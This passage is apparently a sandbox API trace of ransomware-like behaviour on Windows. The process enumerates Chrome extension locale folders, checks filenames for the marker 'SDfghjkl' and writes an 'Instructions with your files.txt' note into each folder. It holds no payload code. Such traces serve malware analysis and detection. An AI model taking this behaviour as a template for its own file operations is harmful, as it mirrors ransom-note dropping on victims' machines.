[0130.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*") returned 152
[0130.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\.") returned 152
[0130.275] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.275] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\..") returned 153
[0130.275] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.275] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json") returned 164
[0130.275] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.275] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.275] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\Instructions with your files.txt") returned 183
[0130.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.275] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.276] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.276] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.276] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.277] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.277] CloseHandle (hObject=0x134) returned 1
[0130.277] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.277] GetProcessHeap () returned 0x810000
[0130.277] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.277] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1
[0130.277] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml") returned 150
[0130.277] GetProcessHeap () returned 0x810000
[0130.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*") returned 152
[0130.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\.") returned 152
[0130.277] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\..") returned 153
[0130.277] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json") returned 164
[0130.277] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.277] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.278] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\Instructions with your files.txt") returned 183
[0130.278] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.278] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.279] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.279] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.279] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.279] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.279] CloseHandle (hObject=0x134) returned 1
[0130.279] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.279] GetProcessHeap () returned 0x810000
[0130.279] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.279] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1
[0130.279] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr") returned 150
[0130.279] GetProcessHeap () returned 0x810000
[0130.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*") returned 152
[0130.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\.") returned 152
[0130.280] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\..") returned 153
[0130.281] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.281] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json") returned 164
[0130.281] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.281] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.281] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\Instructions with your files.txt") returned 183
[0130.281] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.281] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.282] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.282] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.282] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.282] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.282] CloseHandle (hObject=0x134) returned 1
[0130.282] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.283] GetProcessHeap () returned 0x810000
[0130.283] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.283] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0130.283] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 150
[0130.283] GetProcessHeap () returned 0x810000
[0130.283] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.283] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*") returned 152
[0130.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.283] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\.") returned 152
[0130.283] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.283] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\..") returned 153
[0130.283] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.283] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json") returned 164
[0130.283] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.283] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
